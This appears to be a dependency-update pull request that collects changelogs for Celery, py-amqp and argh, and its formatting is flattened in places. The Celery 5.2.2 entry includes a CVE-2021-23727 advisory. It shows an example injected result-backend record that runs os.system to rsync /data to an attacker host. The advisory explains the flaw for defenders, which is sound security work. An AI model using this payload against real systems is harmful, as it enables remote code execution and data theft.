- Fixed issue: Flags broker_connection_retry_on_startup & broker_connection_retry aren’t reliable (8446)
- doc update from 7651 (8451)
- Remove tox version limit (8464)
- Fixed AttributeError: 'str' object has no attribute (8463)
- Upgraded Kombu from 5.3.1 -> 5.3.2 (8468)
- Document need for CELERY_ prefix on CLI env vars (8469)
- Use string value for CELERY_SKIP_CHECKS envvar (8462)
- Revert "store children with database backend" (8475)
- Revert "Fix eager tasks does not populate name field" (8476)
- Update Changelog (8474)
- Remove as it seems to be buggy. (8340)
- Revert "Add Semgrep to CI" (8477)
- Revert "Revert "Add Semgrep to CI"" (8478)
.. _version-5.3.3:
```
### 5.3.3
```
==============
:release-date: 2023-08-31 1:47 P.M GMT+2
:release-by: Tomer Nosrati
.. warning::
This version has been yanked due to breaking API changes. The breaking changes include:
- Store children with database backend (8338)
- Fix eager tasks does not populate name field (8383)
- Fixed changelog for 5.3.2 release docs.
.. _version-5.3.2:
```
### 5.3.2
```
==============
:release-date: 2023-08-31 1:30 P.M GMT+2
:release-by: Tomer Nosrati
.. warning::
This version has been yanked due to breaking API changes. The breaking changes include:
- Store children with database backend (8338)
- Fix eager tasks does not populate name field (8383)
- Bugfix: Removed unecessary stamping code from _chord.run() (8339)
- User guide fix (hotfix for 1755) (8342)
- Store children with database backend (8338)
- Stamping bugfix with group/chord header errback linking (8347)
- Use argsrepr and kwargsrepr in LOG_RECEIVED (8301)
- Fixing minor typo in code example in calling.rst (8366)
- Add documents for timeout settings (8373)
- Fix: copyright year (8380)
- Setup.py: enable include_package_data (8379)
- Fix eager tasks does not populate name field (8383)
- Update test.txt dependencies (8389)
- Update auth.txt deps (8392)
- Fix backend.get_task_meta ignores the result_extended config parameter in mongodb backend (8391)
- Support preload options for shell and purge commands (8374)
- Implement safer ArangoDB queries (8351)
- Integration test: cleanup worker after test case (8361)
- Added "Tomer Nosrati" to CONTRIBUTORS.txt (8400)
- Update README.rst (8404)
- Update README.rst (8408)
- Fix(canvas): add group index when unrolling tasks (8427)
- Fix(beat): debug statement should only log AsyncResult.id if it exists (8428)
- Lint fixes & pre-commit autoupdate (8414)
- Update auth.txt (8435)
- Update mypy on test.txt (8438)
- Added missing kwargs arguments in some cli cmd (8049)
- Fix 8431: Set format_date to False when calling _get_result_meta on mongo backend (8432)
- Docs: rewrite out-of-date code (8441)
- Limit redis client to 4.x since 5.x fails the test suite (8442)
- Limit tox to < 4.9 (8443)
- Fixed issue: Flags broker_connection_retry_on_startup & broker_connection_retry aren’t reliable (8446)
- Doc update from 7651 (8451)
- Remove tox version limit (8464)
- Fixed AttributeError: 'str' object has no attribute (8463)
- Upgraded Kombu from 5.3.1 -> 5.3.2 (8468)
.. _version-5.3.1:
```
### 5.3.1
```
=====
:release-date: 2023-06-18 8:15 P.M GMT+6
:release-by: Asif Saif Uddin
- Upgrade to latest pycurl release (7069).
- Limit librabbitmq>=2.0.0; python_version < '3.11' (8302).
- Added initial support for python 3.11 (8304).
- ChainMap observers fix (8305).
- Revert optimization CLI flag behaviour back to original.
- Restrict redis 4.5.5 as it has severe bugs (8317).
- Tested pypy 3.10 version in CI (8320).
- Bump new version of kombu to 5.3.1 (8323).
- Fixed a small float value of retry_backoff (8295).
- Limit pyro4 up to python 3.10 only as it is (8324).
.. _version-5.3.0:
```
### 5.3.0
```
=====
:release-date: 2023-06-06 12:00 P.M GMT+6
:release-by: Asif Saif Uddin
- Test kombu 5.3.0 & minor doc update (8294).
- Update librabbitmq.txt > 2.0.0 (8292).
- Upgrade syntax to py3.8 (8281).
.. _version-5.3.0rc2:
```
### 5.3.0rc2
```
========
:release-date: 2023-05-31 9:00 P.M GMT+6
:release-by: Asif Saif Uddin
- Add missing dependency.
- Fix exc_type being the exception instance rather.
- Fixed revoking tasks by stamped headers (8269).
- Support sqlalchemy 2.0 in tests (8271).
- Fix docker (8275).
- Update redis.txt to 4.5 (8278).
- Update kombu>=5.3.0rc2.
.. _version-5.3.0rc1:
```
### 5.3.0rc1
```
========
:release-date: 2023-05-11 4:24 P.M GMT+2
:release-by: Tomer Nosrati
- fix functiom name by cuishuang in 8087
- Update CELERY_TASK_EAGER setting in user guide by thebalaa in 8085
- Stamping documentation fixes & cleanups by Nusnus in 8092
- switch to maintained pyro5 by auvipy in 8093
- udate dependencies of tests by auvipy in 8095
- cryptography==39.0.1 by auvipy in 8096
- Annotate celery/security/certificate.py by Kludex in 7398
- Deprecate parse_iso8601 in favor of fromisoformat by stumpylog in 8098
- pytest==7.2.2 by auvipy in 8106
- Type annotations for celery/utils/text.py by max-muoto in 8107
- Update web framework URLs by sblondon in 8112
- Fix contribution URL by sblondon in 8111
- Trying to clarify CERT_REQUIRED by pamelafox in 8113
- Fix potential AttributeError on 'stamps' by Darkheir in 8115
- Type annotations for celery/apps/beat.py by max-muoto in 8108
- Fixed bug where retrying a task loses its stamps by Nusnus in 8120
- Type hints for celery/schedules.py by max-muoto in 8114
- Reference Gopher Celery in README by marselester in 8131
- Update sqlalchemy.txt by auvipy in 8136
- azure-storage-blob 12.15.0 by auvipy in 8137
- test kombu 5.3.0b3 by auvipy in 8138
- fix: add expire string parse. by Bidaya0 in 8134
- Fix worker crash on un-pickleable exceptions by youtux in 8133
- CLI help output: avoid text rewrapping by click by woutdenolf in 8152
- Warn when an unnamed periodic task override another one. by iurisilvio in 8143
- Fix Task.handle_ignore not wrapping exceptions properly by youtux in 8149
- Hotfix for (8120) - Stamping bug with retry by Nusnus in 8158
- Fix integration test by youtux in 8156
- Fixed bug in revoke_by_stamped_headers where impl did not match doc by Nusnus in 8162
- Align revoke and revoke_by_stamped_headers return values (terminate=True) by Nusnus in 8163
- Update & simplify GHA pip caching by stumpylog in 8164
- Update auth.txt by auvipy in 8167
- Update test.txt versions by auvipy in 8173
- remove extra = from test.txt by auvipy in 8179
- Update sqs.txt kombu[sqs]>=5.3.0b3 by auvipy in 8174
- Added signal triggered before fork by jaroslawporada in 8177
- Update documentation on SQLAlchemy by max-muoto in 8188
- Deprecate pytz and use zoneinfo by max-muoto in 8159
- Update dev.txt by auvipy in 8192
- Update test.txt by auvipy in 8193
- Update test-integration.txt by auvipy in 8194
- Update zstd.txt by auvipy in 8195
- Update s3.txt by auvipy in 8196
- Update msgpack.txt by auvipy in 8199
- Update solar.txt by auvipy in 8198
- Add Semgrep to CI by Nusnus in 8201
- Added semgrep to README.rst by Nusnus in 8202
- Update django.txt by auvipy in 8197
- Update redis.txt 4.3.6 by auvipy in 8161
- start removing codecov from pypi by auvipy in 8206
- Update test.txt dependencies by auvipy in 8205
- Improved doc for: worker_deduplicate_successful_tasks by Nusnus in 8209
- Renamed revoked_headers to revoked_stamps by Nusnus in 8210
- Ensure argument for map is JSON serializable by candleindark in 8229
.. _version-5.3.0b2:
```
### 5.3.0b3
```
=======
:release-date: 20 Mar, 2023
:release-by: Asif Saif Uddin
- Use SPDX license expression in project metadata.
- Allowing Connection.ensure() to retry on specific exceptions given by policy (1629).
- Redis==4.3.4 temporarilly in an attempt to avoid BC (1634).
- Add managed identity support to azure storage queue (1631).
- Support sqla v2.0 (1651).
- Switch to Pyro5 (1655).
- Remove unused _setupfuns from serialization.py.
- Refactor: Refactor utils/json (1659).
- Adapt the mock to correctly mock the behaviors as implemented on Python 3.10. (Ref 1663).
.. _version-5.3.0b2:
```
### 5.3.0b2
```
=======
:release-date: 2023-02-19 1:47 P.M GMT+2
:release-by: Asif Saif Uddin
- BLM-2: Adding unit tests to chord clone by Nusnus in 7668
- Fix unknown task error typo by dcecile in 7675
- rename redis integration test class so that tests are executed by wochinge in 7684
- Check certificate/private key type when loading them by qrmt in 7680
- Added integration test_chord_header_id_duplicated_on_rabbitmq_msg_duplication() by Nusnus in 7692
- New feature flag: allow_error_cb_on_chord_header - allowing setting an error callback on chord header by Nusnus in 7712
- Update README.rst sorting Python/Celery versions by andrebr in 7714
- Fixed a bug where stamping a chord body would not use the correct stamping method by Nusnus in 7722
- Fixed doc duplication typo for Signature.stamp() by Nusnus in 7725
- Fix issue 7726: variable used in finally block may not be instantiated by woutdenolf in 7727
- Fixed bug in chord stamping with another chord as a body + unit test by Nusnus in 7730
- Use "describe_table" not "create_table" to check for existence of DynamoDB table by maxfirman in 7734
- Enhancements for task_allow_error_cb_on_chord_header tests and docs by Nusnus in 7744
- Improved custom stamping visitor documentation by Nusnus in 7745
- Improved the coverage of test_chord_stamping_body_chord() by Nusnus in 7748
- billiard >= 3.6.3.0,<5.0 for rpm by auvipy in 7764
- Fixed memory leak with ETA tasks at connection error when worker_cancel_long_running_tasks_on_connection_loss is enabled by Nusnus in 7771
- Fixed bug where a chord with header of type tuple was not supported in the link_error flow for task_allow_error_cb_on_chord_header flag by Nusnus in 7772
- Scheduled weekly dependency update for week 38 by pyup-bot in 7767
- recreate_module: set spec to the new module by skshetry in 7773
- Override integration test config using integration-tests-config.json by thedrow in 7778
- Fixed error handling bugs due to upgrade to a newer version of billiard by Nusnus in 7781
- Do not recommend using easy_install anymore by jugmac00 in 7789
- GitHub Workflows security hardening by sashashura in 7768
- Update ambiguous acks_late doc by Zhong-z in 7728
- billiard >=4.0.2,<5.0 by auvipy in 7720
- importlib_metadata remove deprecated entry point interfaces by woutdenolf in 7785
- Scheduled weekly dependency update for week 41 by pyup-bot in 7798
- pyzmq>=22.3.0 by auvipy in 7497
- Remove amqp from the BACKEND_ALISES list by Kludex in 7805
- Replace print by logger.debug by Kludex in 7809
- Ignore coverage on except ImportError by Kludex in 7812
- Add mongodb dependencies to test.txt by Kludex in 7810
- Fix grammar typos on the whole project by Kludex in 7815
- Remove isatty wrapper function by Kludex in 7814
- Remove unused variable _range by Kludex in 7813
- Add type annotation on concurrency/threads.py by Kludex in 7808
- Fix linter workflow by Kludex in 7816
- Scheduled weekly dependency update for week 42 by pyup-bot in 7821
- Remove .cookiecutterrc by Kludex in 7830
- Remove .coveragerc file by Kludex in 7826
- kombu>=5.3.0b2 by auvipy in 7834
- Fix readthedocs build failure by woutdenolf in 7835
- Fixed bug in group, chord, chain stamp() method, where the visitor overrides the previously stamps in tasks of these objects by Nusnus in 7825
- Stabilized test_mutable_errback_called_by_chord_from_group_fail_multiple by Nusnus in 7837
- Use SPDX license expression in project metadata by RazerM in 7845
- New control command revoke_by_stamped_headers by Nusnus in 7838
- Clarify wording in Redis priority docs by strugee in 7853
- Fix non working example of using celery_worker pytest fixture by paradox-lab in 7857
- Removed the mandatory requirement to include stamped_headers key when implementing on_signature() by Nusnus in 7856
- Update serializer docs by sondrelg in 7858
- Remove reference to old Python version by Kludex in 7829
- Added on_replace() to Task to allow manipulating the replaced sig with custom changes at the end of the task.replace() by Nusnus in 7860
- Add clarifying information to completed_count documentation by hankehly in 7873
- Stabilized test_revoked_by_headers_complex_canvas by Nusnus in 7877
- StampingVisitor will visit the callbacks and errbacks of the signature by Nusnus in 7867
- Fix "rm: no operand" error in clean-pyc script by hankehly in 7878
- Add --skip-checks flag to bypass django core checks by mudetz in 7859
- Scheduled weekly dependency update for week 44 by pyup-bot in 7868
- Added two new unit tests to callback stamping by Nusnus in 7882
- Sphinx extension: use inspect.signature to make it Python 3.11 compatible by mathiasertl in 7879
- cryptography==38.0.3 by auvipy in 7886
- Canvas.py doc enhancement by Nusnus in 7889
- Fix typo by sondrelg in 7890
- fix typos in optional tests by hsk17 in 7876
- Canvas.py doc enhancement by Nusnus in 7891
- Fix revoke by headers tests stability by Nusnus in 7892
- feat: add global keyprefix for backend result keys by kaustavb12 in 7620
- Canvas.py doc enhancement by Nusnus in 7897
- fix(sec): upgrade sqlalchemy to 1.2.18 by chncaption in 7899
- Canvas.py doc enhancement by Nusnus in 7902
- Fix test warnings by ShaheedHaque in 7906
- Support for out-of-tree worker pool implementations by ShaheedHaque in 7880
- Canvas.py doc enhancement by Nusnus in 7907
- Use bound task in base task example. Closes 7909 by WilliamDEdwards in 7910
- Allow the stamping visitor itself to set the stamp value type instead of casting it to a list by Nusnus in 7914
- Stamping a task left the task properties dirty by Nusnus in 7916
- Fixed bug when chaining a chord with a group by Nusnus in 7919
- Fixed bug in the stamping visitor mechanism where the request was lacking the stamps in the 'stamps' property by Nusnus in 7928
- Fixed bug in task_accepted() where the request was not added to the requests but only to the active_requests by Nusnus in 7929
- Fix bug in TraceInfo._log_error() where the real exception obj was hiding behind 'ExceptionWithTraceback' by Nusnus in 7930
- Added integration test: test_all_tasks_of_canvas_are_stamped() by Nusnus in 7931
- Added new example for the stamping mechanism: examples/stamping by Nusnus in 7933
- Fixed a bug where replacing a stamped task and stamping it again by Nusnus in 7934
- Bugfix for nested group stamping on task replace by Nusnus in 7935
- Added integration test test_stamping_example_canvas() by Nusnus in 7937
- Fixed a bug in losing chain links when unchaining an inner chain with links by Nusnus in 7938
- Removing as not mandatory by auvipy in 7885
- Housekeeping for Canvas.py by Nusnus in 7942
- Scheduled weekly dependency update for week 50 by pyup-bot in 7954
- try pypy 3.9 in CI by auvipy in 7956
- sqlalchemy==1.4.45 by auvipy in 7943
- billiard>=4.1.0,<5.0 by auvipy in 7957
- feat(typecheck): allow changing type check behavior on the app level; by moaddib666 in 7952
- Add broker_channel_error_retry option by nkns165 in 7951
- Add beat_cron_starting_deadline_seconds to prevent unwanted cron runs by abs25 in 7945
- Scheduled weekly dependency update for week 51 by pyup-bot in 7965
- Added doc to "retry_errors" newly supported field of "publish_retry_policy" of the task namespace by Nusnus in 7967
- Renamed from master to main in the docs and the CI workflows by Nusnus in 7968
- Fix docs for the exchange to use with worker_direct by alessio-b2c2 in 7973
- Pin redis==4.3.4 by auvipy in 7974
- return list of nodes to make sphinx extension compatible with Sphinx 6.0 by mathiasertl in 7978
- use version range redis>=4.2.2,<4.4.0 by auvipy in 7980
- Scheduled weekly dependency update for week 01 by pyup-bot in 7987
- Add annotations to minimise differences with celery-aio-pool's tracer.py. by ShaheedHaque in 7925
- Fixed bug where linking a stamped task did not add the stamp to the link's options by Nusnus in 7992
- sqlalchemy==1.4.46 by auvipy in 7995
- pytz by auvipy in 8002
- Fix few typos, provide configuration + workflow for codespell to catch any new by yarikoptic in 8023
- RabbitMQ links update by arnisjuraga in 8031
- Ignore files generated by tests by Kludex in 7846
- Revert "sqlalchemy==1.4.46 (7995)" by Nusnus in 8033
- Fixed bug with replacing a stamped task with a chain or a group (inc. links/errlinks) by Nusnus in 8034
- Fixed formatting in setup.cfg that caused flake8 to misbehave by Nusnus in 8044
- Removed duplicated import Iterable by Nusnus in 8046
- Fix docs by Nusnus in 8047
- Document --logfile default by strugee in 8057
- Stamping Mechanism Refactoring by Nusnus in 8045
- result_backend_thread_safe config shares backend across threads by CharlieTruong in 8058
- Fix cronjob that use day of month and negative UTC timezone by pkyosx in 8053
- Stamping Mechanism Examples Refactoring by Nusnus in 8060
- Fixed bug in Task.on_stamp_replaced() by Nusnus in 8061
- Stamping Mechanism Refactoring 2 by Nusnus in 8064
- Changed default append_stamps from True to False (meaning duplicates … by Nusnus in 8068
- typo in comment: mailicious => malicious by yanick in 8072
- Fix command for starting flower with specified broker URL by ShukantPal in 8071
- Improve documentation on ETA/countdown tasks (8069) by norbertcyran in 8075
.. _version-5.3.0b1:
```
### 5.3.0b1
```
=======
:release-date: 2022-08-01 5:15 P.M UTC+6:00
:release-by: Asif Saif Uddin
- Canvas Header Stamping (7384).
- async chords should pass it's kwargs to the group/body.
- beat: Suppress banner output with the quiet option (7608).
- Fix honor Django's TIME_ZONE setting.
- Don't warn about DEBUG=True for Django.
- Fixed the on_after_finalize cannot access tasks due to deadlock.
- Bump kombu>=5.3.0b1,<6.0.
- Make default worker state limits configurable (7609).
- Only clear the cache if there are no active writers.
- Billiard 4.0.1
.. _version-5.3.0a1:
```
### 5.3.0a1
```
=======
:release-date: 2022-06-29 5:15 P.M UTC+6:00
:release-by: Asif Saif Uddin
- Remove Python 3.4 compatibility code.
- call ping to set connection attr for avoiding redis parse_response error.
- Use importlib instead of deprecated pkg_resources.
- fix 7245 uid duplicated in command params.
- Fix subscribed_to maybe empty (7232).
- Fix: Celery beat sleeps 300 seconds sometimes even when it should run a task within a few seconds (e.g. 13 seconds) 7290.
- Add security_key_password option (7292).
- Limit elasticsearch support to below version 8.0.
- try new major release of pytest 7 (7330).
- broker_connection_retry should no longer apply on startup (7300).
- Remove __ne__ methods (7257).
- fix 7200 uid and gid.
- Remove exception-throwing from the signal handler.
- Add mypy to the pipeline (7383).
- Expose more debugging information when receiving unknown tasks. (7405)
- Avoid importing buf_t from billiard's compat module as it was removed.
- Avoid negating a constant in a loop. (7443)
- Ensure expiration is of float type when migrating tasks (7385).
- load_extension_class_names - correct module_name (7406)
- Bump pymongo[srv]>=4.0.2.
- Use inspect.getgeneratorstate in asynpool.gen_not_started (7476).
- Fix test with missing .get() (7479).
- azure-storage-blob>=12.11.0
- Make start_worker, setup_default_app reusable outside of pytest.
- Ensure a proper error message is raised when id for key is empty (7447).
- Crontab string representation does not match UNIX crontab expression.
- Worker should exit with ctx.exit to get the right exitcode for non-zero.
- Fix expiration check (7552).
- Use callable built-in.
- Include dont_autoretry_for option in tasks. (7556)
- fix: Syntax error in arango query.
- Fix custom headers propagation on task retries (7555).
- Silence backend warning when eager results are stored.
- Reduce prefetch count on restart and gradually restore it (7350).
- Improve workflow primitive subclassing (7593).
- test kombu>=5.3.0a1,<6.0 (7598).
- Canvas Header Stamping (7384).
.. _version-5.2.7:
```
### 5.2.7
```
=====
:release-date: 2022-5-26 12:15 P.M UTC+2:00
:release-by: Omer Katz
- Fix packaging issue which causes poetry 1.2b1 and above to fail install Celery (7534).
.. _version-5.2.6:
```
### 5.2.6
```
=====
:release-date: 2022-4-04 21:15 P.M UTC+2:00
:release-by: Omer Katz
- load_extension_class_names - correct module_name (7433).
This fixes a regression caused by 7218.
.. _version-5.2.5:
```
### 5.2.5
```
=====
:release-date: 2022-4-03 20:42 P.M UTC+2:00
:release-by: Omer Katz
**This release was yanked due to a regression caused by the PR below**
- Use importlib instead of deprecated pkg_resources (7218).
.. _version-5.2.4:
```
### 5.2.4
```
=====
:release-date: 2022-4-03 20:30 P.M UTC+2:00
:release-by: Omer Katz
- Expose more debugging information when receiving unknown tasks (7404).
.. _version-5.2.3:
```
### 5.2.3
```
=====
:release-date: 2021-12-29 12:00 P.M UTC+6:00
:release-by: Asif Saif Uddin
- Allow redis >= 4.0.2.
- Upgrade minimum required pymongo version to 3.11.1.
- tested pypy3.8 beta (6998).
- Split Signature.__or__ into subclasses' __or__ (7135).
- Prevent duplication in event loop on Consumer restart.
- Restrict setuptools>=59.1.1,<59.7.0.
- Kombu bumped to v5.2.3
- py-amqp bumped to v5.0.9
- Some docs & CI improvements.
.. _version-5.2.2:
```
### 5.2.2
```
=====
:release-date: 2021-12-26 16:30 P.M UTC+2:00
:release-by: Omer Katz
- Various documentation fixes.
- Fix CVE-2021-23727 (Stored Command Injection security vulnerability).
When a task fails, the failure information is serialized in the backend.
In some cases, the exception class is only importable from the
consumer's code base. In this case, we reconstruct the exception class
so that we can re-raise the error on the process which queried the
task's result. This was introduced in 4836.
If the recreated exception type isn't an exception, this is a security issue.
Without the condition included in this patch, an attacker could inject a remote code execution instruction such as:
``os.system("rsync /data attacker192.168.56.100:~/data")``
by setting the task's result to a failure in the result backend with the os,
the system function as the exception type and the payload ``rsync /data attacker192.168.56.100:~/data`` as the exception arguments like so:
.. code-block:: python
{
"exc_module": "os",
'exc_type': "system",
"exc_message": "rsync /data attacker192.168.56.100:~/data"
}
According to my analysis, this vulnerability can only be exploited if
the producer delayed a task which runs long enough for the
attacker to change the result mid-flight, and the producer has
polled for the task's result.
The attacker would also have to gain access to the result backend.
The severity of this security vulnerability is low, but we still
recommend upgrading.
.. _version-5.2.1:
```
### 5.2.1
```
=====
:release-date: 2021-11-16 8.55 P.M UTC+6:00
:release-by: Asif Saif Uddin
- Fix rstrip usage on bytes instance in ProxyLogger.
- Pass logfile to ExecStop in celery.service example systemd file.
- fix: reduce latency of AsyncResult.get under gevent (7052)
- Limit redis version: <4.0.0.
- Bump min kombu version to 5.2.2.
- Change pytz>dev to a PEP 440 compliant pytz>0.dev.0.
- Remove dependency to case (7077).
- fix: task expiration is timezone aware if needed (7065).
- Initial testing of pypy-3.8 beta to CI.
- Docs, CI & tests cleanups.
.. _version-5.2.0:
```
### 5.2.0
```
=====
:release-date: 2023-11-06 10:55 A.M
Update amqp from 2.5.2 to 5.2.0.
Changelog
### 5.2.0 ``` ===== :release-date: 2023-11-06 10:55 A.M. UTC+6:00 :release-by: Asif Saif Uddin - Added python 3.12 and drop python 3.7 (423). - Test vine 5.1.0 (424). - Set an explicit timeout on SSL handshake to prevent hangs. - Add MessageNacked to recoverable errors. - Send heartbeat frames more often. .. _version-5.1.1: ``` ### 5.1.1 ``` ===== :release-date: 2022-04-17 12:45 P.M. UTC+6:00 :release-by: Asif Saif Uddin - Use AF_UNSPEC for name resolution (389). .. _version-5.1.0: ``` ### 5.1.0 ``` ===== :release-date: 2022-03-06 10:05 A.M. UTC+6:00 :release-by: Asif Saif Uddin - Improve performance of _get_free_channel_id, fix channel max bug (385). - Document memoryview usage, minor frame_writer.write_frame refactor (384). - Start dropping python 3.6 (387). - Added experimental __slots__ to some classes (368) - Relaxed vine version for upcoming release. - Upgraded topytest 7 (388). .. _version-5.0.9: ``` ### 5.0.9 ``` ===== :release-date: 2021-12-20 11:00 A.M. UTC+6:00 :release-by: Asif Saif Uddin - Append to _used_channel_ids in _used_channel_ids .. _version-5.0.8: ``` ### 5.0.8 ``` ===== :release-date: 2021-12-19 11:15 A.M. UTC+6:00 :release-by: Asif Saif Uddin - Reduce memory usage of Connection (377) - Add additional error handling around code where an OSError may be raised on failed connections. Fixes (378) .. _version-5.0.7: ``` ### 5.0.7 ``` ===== :release-date: 2021-12-13 15:45 P.M. UTC+6:00 :release-by: Asif Saif Uddin - Remove dependency to case - Bugfix: not closing socket after server disconnect .. _version-5.0.6: ``` ### 5.0.6 ``` ===== :release-date: 2021-04-01 10:45 A.M. UTC+6:00 :release-by: Asif Saif Uddin - Change the order in which context.check_hostname and context.verify_mode get set in SSLTransport._wrap_socket_sni. Fixes bug introduced in 5.0.3 where setting context.verify_mode = ssl.CERT_NONE would raise "ValueError: Cannot set verify_mode to CERT_NONE when check_hostname is enabled." Setting context.check_hostname prior to setting context.verify_mode resolves the issue. - Remove TCP_USER_TIMEOUT option for Solaris (355) - Pass long_description to setup() (353) - Fix for tox-docker 2.0 - Moved to GitHub actions CI (359) .. _version-5.0.5: ``` ### 5.0.5 ``` ===== :release-date: 2021-01-28 4:30 P.M UTC+6:00 :release-by: Asif Saif Uddin - Removed mistakenly introduced code which was causing import errors .. _version-5.0.4: ``` ### 5.0.4 ``` ===== :release-date: 2021-01-28 2:30 P.M UTC+6:00 :release-by: Asif Saif Uddin - Add missing load_default_certs() call to fix a regression in v5.0.3 release. (350) .. _version-5.0.3: ``` ### 5.0.3 ``` ===== :release-date: 2021-01-19 9:00 P.M UTC+6:00 :release-by: Asif Saif Uddin - Change the default value of ssl_version to None. When not set, the proper value between ssl.PROTOCOL_TLS_CLIENT and ssl.PROTOCOL_TLS_SERVER will be selected based on the param server_side in order to create a TLS Context object with better defaults that fit the desired connection side. - Change the default value of cert_reqs to None. The default value of ctx.verify_mode is ssl.CERT_NONE, but when ssl.PROTOCOL_TLS_CLIENT is used, ctx.verify_mode defaults to ssl.CERT_REQUIRED. - Fix context.check_hostname logic. Checking the hostname depends on having support of the SNI TLS extension and being provided with a server_hostname value. Another important thing to mention is that enabling hostname checking automatically sets verify_mode from ssl.CERT_NONE to ssl.CERT_REQUIRED in the stdlib ssl and it cannot be set back to ssl.CERT_NONE as long as hostname checking is enabled. - Refactor the SNI tests to test one thing at a time and removing some tests that were being repeated over and over. .. _version-5.0.2: ``` ### 5.0.2 ``` ===== :release-date: 2020-11-08 6:50 P.M UTC+3:00 :release-by: Omer Katz - Whhels are no longer universal. Contributed by **Omer Katz** - Added debug representation to Connection and *Transport classes Contributed by **Matus Valo** - Reintroduce ca_certs and ciphers parameters of SSLTransport._wrap_socket_sni() This fixes issue introduced in commit: 53d6777 Contributed by **Matus Valo** - Fix infinite wait when using confirm_publish Contributed by **Omer Katz** & **RezaSi** .. _version-5.0.1: ``` ### 5.0.1 ``` ===== :release-date: 2020-09-06 6:10 P.M UTC+3:00 :release-by: Omer Katz - Require vine 5.0.0. Contributed by **Omer Katz** .. _version-5.0.0: ``` ### 5.0.0 ``` ===== :release-date: 2020-09-03 3:20 P.M UTC+3:00 :release-by: Omer Katz - Stop to use deprecated method ssl.wrap_socket. Contributed by **Hervé Beraud** .. _version-5.0.0b1: ``` ### 5.0.0b1 ``` ======= :release-date: 2020-09-01 6:20 P.M UTC+3:00 :release-by: Omer Katz - Dropped Python 3.5 support. Contributed by **Omer Katz** - Removed additional compatibility code. Contributed by **Omer Katz** .. _version-5.0.0a1: ``` ### 5.0.0a1 ``` ======= :release-date: 2019-04-01 4:30 P.M UTC+3:00 :release-by: Omer Katz - Dropped Python 2.x support. Contributed by **Omer Katz** - Dropped Python 3.4 support. Contributed by **Omer Katz** - Depend on :pypi:`vine` 5.0.0a1. Contributed by **Omer Katz** Code Cleanups & Improvements: - **Omer Katz** .. _version-2.6.0: ``` ### 2.6.1 ``` ===== :release-date: 2020-07-31 10.30 P.M UTC+6:00 :release-by: Asif Saif Uddin - Fix buffer overflow in frame_writer after frame_max is increased. `frame_writer` allocates a `bytearray` on initialization with a length based on the `connection.frame_max` value. If `connection.frame_max` is changed to a larger value, this causes an error like `pack_into requires a buffer of at least 408736 bytes`. .. _version-2.6.0: ``` ### 2.6.0 ``` ===== :release-date: 20-06-01 12.00 P.M UTC+6:00 :release-by: Asif Saif Uddin - Implement speedups in cython (311) - Updated some tests & code improvements - Separate logger for Connection.heartbeat_tick method - Cython generic content (315) - Improve documentation a_global parameter of basic_qos() method. - Fix saving partial read buffer on windows during socket timeout. (321) - Fix deserialization of long string field values that are not utf-8. - Added simple cythonization of abstract_channel.py - Speedups of serialization.py are more restrictive .. _version-2.5.2: ```Links
- PyPI: https://pypi.org/project/amqp - Changelog: https://data.safetycli.com/changelogs/amqp/ - Repo: http://github.com/celery/py-amqpUpdate argh from 0.26.2 to 0.31.2.
Changelog
### 0.31.2 ``` What's Changed Bugs fixed: - broken support for `Optional[List]` (but not `Optional[list]`), a narrower case of the problem fixed earlier (issue 216) by neithere, thanks to thorwhalen Full changelog: https://argh.readthedocs.io/en/latest/changes.html Full diff: https://github.com/neithere/argh/compare/v0.31.1...v0.31.2 ``` ### 0.31.1 ``` *This text is a brief summary of the full changelog entry: https://argh.readthedocs.io/en/latest/changes.html#version-0-31-1-2024-01-19* What's Changed Bugs fixed: - broken support for type alias `List` (issue 216), thanks to thorwhalen. Enhancements: - cleaned up the README, rearranged other documentation. **Full diff**: https://github.com/neithere/argh/compare/v0.31.0...v0.31.1 ``` ### 0.31.0 ``` What's Changed This release is a major step forward for Argh. It paves the way to a fully annotations-driven approach where decorators will remain a mere legacy. *This text is a brief summary of the full changelog entry: https://argh.readthedocs.io/en/latest/changes.html#version-0-31-0-2023-12-30* Breaking changes: * The typing hints introspection feature is automatically enabled for any command (function) which does **not** have any arguments specified via `arg` decorator. * A small change in the legacy argument mapping policy `BY_NAME_IF_HAS_DEFAULT` concerning the order of variadic positional vs. keyword-only arguments. * Removed the previously deprecated decorator `expects_obj`. Enhancements: * Type hints: basic usage to infer argument types (fixes 203) by neithere in https://github.com/neithere/argh/pull/211 * Support realtime output through a pipe (fixes 145) by neithere in https://github.com/neithere/argh/pull/202 * High-level functions `argh.dispatch_command()` and `argh.dispatch_commands()` now accept a new parameter `old_name_mapping_policy`. Deprecated: - the `namespace` argument in `argh.dispatch()` and `argh.parse_and_resolve()`. Rationale: continued API cleanup. It's already possible to mutate the namespace object between parsing and calling the endpoint; it's unlikely that anyone would need to specify a custom namespace class or pre-populate it before parsing. Please file an issue if you have a valid use case. Other changes: - Refactoring. **Full Diff**: https://github.com/neithere/argh/compare/v0.30.5...v0.31.0 ``` ### 0.30.5 ``` What's Changed * fix: nargs + list as default value (212) by neithere in https://github.com/neithere/argh/pull/213 (thanks to pioio for bug report) * feat: argspec guessing: if `nargs` is not specified but the default value is a list, `nargs="*"` is assumed and passed to argparse. **Full Changelog**: https://github.com/neithere/argh/compare/v0.30.4...v0.30.5 Please refer to the official changelog for more details: https://argh.readthedocs.io/en/latest/changes.html ``` ### 0.30.4 ``` What's Changed There were complaints about the lack of a deprecation cycle for the legacy name mapping policy. This version addresses the issue: - The handling introduced in v.0.30.2 (raising an exception for clarity) is retained for cases when no name mapping policy is specified but function signature contains defaults in non-kwonly args **and kwonly args are also defined**:: def main(alpha, beta=1, *, gamma=2): error — explicit policy required In a similar case but when **kwonly args are not defined** Argh now assumes the legacy name mapping policy (`BY_NAME_IF_HAS_DEFAULT`) and merely issues a deprecation warning with the same message as the exception mentioned above:: def main(alpha, beta=2): `[-b BETA] alpha` + DeprecationWarning This ensures that most of the old scripts still work the same way despite the new policy being used by default and enforced in cases when it's impossible to resolve the mapping conflict. Please note that this "soft" handling is to be removed in version v0.33 (or v1.0 if the former is not deemed necessary). The new name mapping policy will be used by default without warnings, like in v0.30. — by neithere **Full Changelog**: https://github.com/neithere/argh/compare/v0.30.3...v0.30.4 ``` ### 0.30.3 ``` What's Changed * fix: regression — `arg` deco failing with underscore in positional arg name (fixes 208) by neithere in https://github.com/neithere/argh/pull/209 (thanks to kaetir for a report with a reproducible example) **Full Changelog**: https://github.com/neithere/argh/compare/v0.30.2...v0.30.3 ``` ### 0.30.2 ``` What's Changed * fix: raise exception for non-migrated commands (fixes 206) by neithere (reported and valuable feedback given by valentin-feron) in https://github.com/neithere/argh/pull/207 **Full Changelog**: 